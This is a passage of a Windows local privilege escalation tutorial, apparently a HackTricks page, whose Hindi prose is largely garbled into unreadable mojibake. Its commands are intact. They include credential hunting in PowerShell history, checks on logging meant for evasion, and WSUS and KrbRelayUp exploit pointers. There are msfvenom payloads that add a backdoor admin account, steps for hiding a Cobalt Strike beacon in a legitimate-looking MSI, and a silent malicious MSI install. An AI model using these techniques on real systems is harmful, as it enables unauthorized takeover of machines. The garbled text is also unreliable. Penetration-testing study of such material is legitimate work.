Windows Local Privilege Escalation

Support HackTricks

Windows рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╡реЗрдХреНрдЯрд░ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЙрдкрдХрд░рдг: WinPEAS

рдкреНрд░рд╛рд░рдВрднрд┐рдХ Windows рд╕рд┐рджреНрдзрд╛рдВрдд

рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди

рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ Windows рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреНрдпрд╛ рд╣реИрдВ, рддреЛ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ:

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

ACLs - DACLs/SACLs/ACEs

рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓реНрд╕

рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ Windows рдореЗрдВ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓реНрд╕ рдХреНрдпрд╛ рд╣реИрдВ, рддреЛ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ:

Integrity Levels

Windows рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рдпрдВрддреНрд░рдг

Windows рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВ, рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪрд▓рд╛ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЖрдкрдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреА рд╣реИрдВред рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╕реВрдЪреАрдХрд░рдг рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреЛ рдкрдврд╝рдирд╛ рдФрд░ рдЗрди рд╕рднреА рд░рдХреНрд╖рд╛ рдпрдВрддреНрд░реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП:

Windows Security Controls

рд╕рд┐рд╕реНрдЯрдо рдЬрд╛рдирдХрд╛рд░реА

рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рдирдХрд╛рд░реА рд╕реВрдЪреАрдХрд░рдг

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ Windows рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдХреЛрдИ рдЬреНрдЮрд╛рдд рднреЗрджреНрдпрддрд╛ рд╣реИ (рд▓рд╛рдЧреВ рдкреИрдЪ рднреА рдЬрд╛рдВрдЪреЗрдВ)ред

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

рдпрд╣ site Microsoft рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рдЗрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ 4,700 рд╕реЗ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реИрдВ, рдЬреЛ рд╡рд┐рд╢рд╛рд▓ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИрдВ рдЬреЛ рдПрдХ Windows рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред

On the system

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas has watson embedded)

Locally with system information

Github repos of exploits:

Environment

рдХреНрдпрд╛ env variables рдореЗрдВ рдХреЛрдИ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓/рдЬреВрд╕рд┐ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╣реЗрдЬреА рдЧрдИ рд╣реИ?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell рдЗрддрд┐рд╣рд╛рд╕

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transcript files

рдЖрдк рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдЪрд╛рд▓реВ рдХрд┐рдпрд╛ рдЬрд╛рдП https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рд╡рд┐рд╡рд░рдг рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрдорд╛рдВрдб, рдХрдорд╛рдВрдб рдХреЙрд▓ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рднрд╛рдЧ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдкреВрд░реНрдг рдирд┐рд╖реНрдкрд╛рджрди рд╡рд┐рд╡рд░рдг рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкрд░рд┐рдгрд╛рдо рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ "Transcript files" рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рджрд┐рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ, "Powershell Transcription" рдХреЗ рдмрдЬрд╛рдп "Module Logging" рдХрд╛ рд╡рд┐рдХрд▓реНрдк рдЪреБрдиреЗрдВред

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell рд▓реЙрдЧ рд╕реЗ рдЕрдВрддрд┐рдо 15 рдШрдЯрдирд╛рдПрдБ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреВрд░реА рдЧрддрд┐рд╡рд┐рдзрд┐ рдФрд░ рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд░рд┐рдХреЙрд░реНрдб рдХреА рдЬрд╛рддреА рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдб рдХрд╛ рд╣рд░ рдмреНрд▓реЙрдХ рдЙрд╕рдХреЗ рдЪрд▓рдиреЗ рдХреЗ рд╕рдордп рджрд╕реНрддрд╛рд╡реЗрдЬреАрдХреГрдд рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рддреНрдпреЗрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рдСрдбрд┐рдЯ рдЯреНрд░реЗрд▓ рдмрдирд╛рдП рд░рдЦрддреА рд╣реИ, рдЬреЛ рдлреЙрд░реЗрдВрд╕рд┐рдХреНрд╕ рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓реНрдпрд╡рд╛рди рд╣реИред рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рдордп рд╕рднреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬреАрдХреГрдд рдХрд░рдХреЗ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Windows Event Viewer рдореЗрдВ Script Block рдХреЗ рд▓рд┐рдП рд▓реЙрдЧрд┐рдВрдЧ рдЗрд╡реЗрдВрдЯреНрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрде рдкрд░ рд╕реНрдерд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: Application and Services Logs > Microsoft > Windows > PowerShell > Operationalред рдЕрдВрддрд┐рдо 20 рдЗрд╡реЗрдВрдЯреНрд╕ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

рдбреНрд░рд╛рдЗрд╡реНрд╕

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

рдпрджрд┐ рдЕрдкрдбреЗрдЯ httpS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдмрд▓реНрдХрд┐ http рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд▓рд╛рдХрд░ рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдЧреИрд░-SSL WSUS рдЕрдкрдбреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

рдпрджрд┐ рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдЙрддреНрддрд░ рдорд┐рд▓рддрд╛ рд╣реИ:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.

Then, рдпрд╣ exploitable рд╣реИред If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.

Read the research here:

517KB
CTX_WSUSpect_White_Paper (1).pdf
pdf

WSUS CVE-2020-1013

рдпрд╣рд╛рдБ рдкреВрд░рд╛ рд░рд┐рдкреЛрд░реНрдЯ рдкрдврд╝реЗрдВ. Basically, this is the flaw that this bug exploits:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet ExplorerтАЩs settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current userтАЩs settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userтАЩs certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).

KrbRelayUp

A рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ vulnerability exists in Windows рдбреЛрдореЗрди environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

рдпрджрд┐ рдпреЗ 2 рд░рдЬрд┐рд╕реНрдЯрд░ рд╕рдХреНрд╖рдо рд╣реИрдВ (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рд╕рддреНрд░ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ exploit/windows/local/always_install_elevated рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

PowerUP

Write-UserAddMSI рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ power-up рд╕реЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ Windows MSI рдмрд╛рдЗрдирд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдП рдЬрд╛ рд╕рдХреЗрдВред рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд MSI рдЗрдВрд╕реНрдЯреЙрд▓рд░ рд▓рд┐рдЦрддреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛/рд╕рдореВрд╣ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИ (рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ GIU рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА):

Write-UserAddMSI

рдмрд╕ рдмрдирд╛рдП рдЧрдП рдмрд╛рдЗрдирд░реА рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝ рд╕рдХреЗред

MSI Wrapper

рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЗрд╕ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ MSI wrapper рдХреИрд╕реЗ рдмрдирд╛рдПрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдПрдХ ".bat" рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рдкреЗрдЯ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк рдмрд╕ рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдХрд╛рд░реНрдпрдиреНрд╡рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред

MSI Wrapper

WIX рдХреЗ рд╕рд╛рде MSI рдмрдирд╛рдПрдВ

Create MSI with WIX

Visual Studio рдХреЗ рд╕рд╛рде MSI рдмрдирд╛рдПрдВ

  • Cobalt Strike рдпрд╛ Metasploit рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ Windows EXE TCP payload C:\privesc\beacon.exe рдореЗрдВ рдЬрдирд░реЗрдЯ рдХрд░реЗрдВред

  • Visual Studio рдЦреЛрд▓реЗрдВ, Create a new project рдЪреБрдиреЗрдВ рдФрд░ рдЦреЛрдЬ рдмреЙрдХреНрд╕ рдореЗрдВ "installer" рдЯрд╛рдЗрдк рдХрд░реЗрдВред Setup Wizard рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЪреБрдиреЗрдВ рдФрд░ Next рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред

  • рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рдирд╛рдо рджреЗрдВ, рдЬреИрд╕реЗ AlwaysPrivesc, рд╕реНрдерд╛рди рдХреЗ рд▓рд┐рдП C:\privesc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рд╕рдорд╛рдзрд╛рди рдФрд░ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рдПрдХ рд╣реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд░рдЦреЗрдВ рдЪреБрдиреЗрдВ, рдФрд░ Create рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред

  • Next рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд░рд╣реЗрдВ рдЬрдм рддрдХ рдЖрдк 4 рдореЗрдВ рд╕реЗ 3 рдЪрд░рдг рдкрд░ рдирд╣реАрдВ рдкрд╣реБрдБрдЪрддреЗ (рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪреБрдиреЗрдВ)ред Add рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЙрд╕ Beacon payload рдХреЛ рдЪреБрдиреЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдЕрднреА рдЬрдирд░реЗрдЯ рдХрд┐рдпрд╛ рд╣реИред рдлрд┐рд░ Finish рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред

  • Solution Explorer рдореЗрдВ AlwaysPrivesc рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХрд░реЗрдВ рдФрд░ Properties рдореЗрдВ, TargetPlatform рдХреЛ x86 рд╕реЗ x64 рдореЗрдВ рдмрджрд▓реЗрдВред

  • рдЕрдиреНрдп рдЧреБрдг рднреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ Author рдФрд░ Manufacturer рдЬреЛ рд╕реНрдерд╛рдкрд┐рдд рдРрдк рдХреЛ рдЕрдзрд┐рдХ рд╡реИрдз рджрд┐рдЦрд╛ рд╕рдХрддреЗ рд╣реИрдВред

  • рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ View > Custom Actions рдЪреБрдиреЗрдВред

  • Install рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ Add Custom Action рдЪреБрдиреЗрдВред

  • Application Folder рдкрд░ рдбрдмрд▓-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, рдЕрдкрдиреЗ beacon.exe рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ OK рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдЧрд╛ рдХрд┐ beacon payload рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдЪрд▓рдиреЗ рдкрд░ рддреБрд░рдВрдд рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛред

  • Custom Action Properties рдХреЗ рддрд╣рдд, Run64Bit рдХреЛ True рдореЗрдВ рдмрджрд▓реЗрдВред

  • рдЕрдВрдд рдореЗрдВ, рдЗрд╕реЗ рдмрдирд╛рдПрдВред

  • рдпрджрд┐ рдЪреЗрддрд╛рд╡рдиреА File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЛ x64 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реИред

MSI рд╕реНрдерд╛рдкрдирд╛

рдкреГрд╖реНрдарднреВрдорд┐ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг .msi рдлрд╝рд╛рдЗрд▓ рдХреА рд╕реНрдерд╛рдкрдирд╛ рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: exploit/windows/local/always_install_elevated

рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдФрд░ рдбрд┐рдЯреЗрдХреНрдЯрд░реНрд╕

рдСрдбрд┐рдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕

рдпреЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдпрд╣ рддрдп рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд▓реЙрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рд▓реЙрдЧ рдХрд╣рд╛рдБ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╡рд┐рд╢рд┐рд╖реНрдЯ, рдпрд╛рджреГрдЪреНрдЫрд┐рдХ, рдФрд░ рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЙрди рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рдЬреЛ рдПрдХ рдбреЛрдореЗрди рд╕реЗ рдЬреБрдбрд╝реЗ рд╣реИрдВред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ рдЙрди 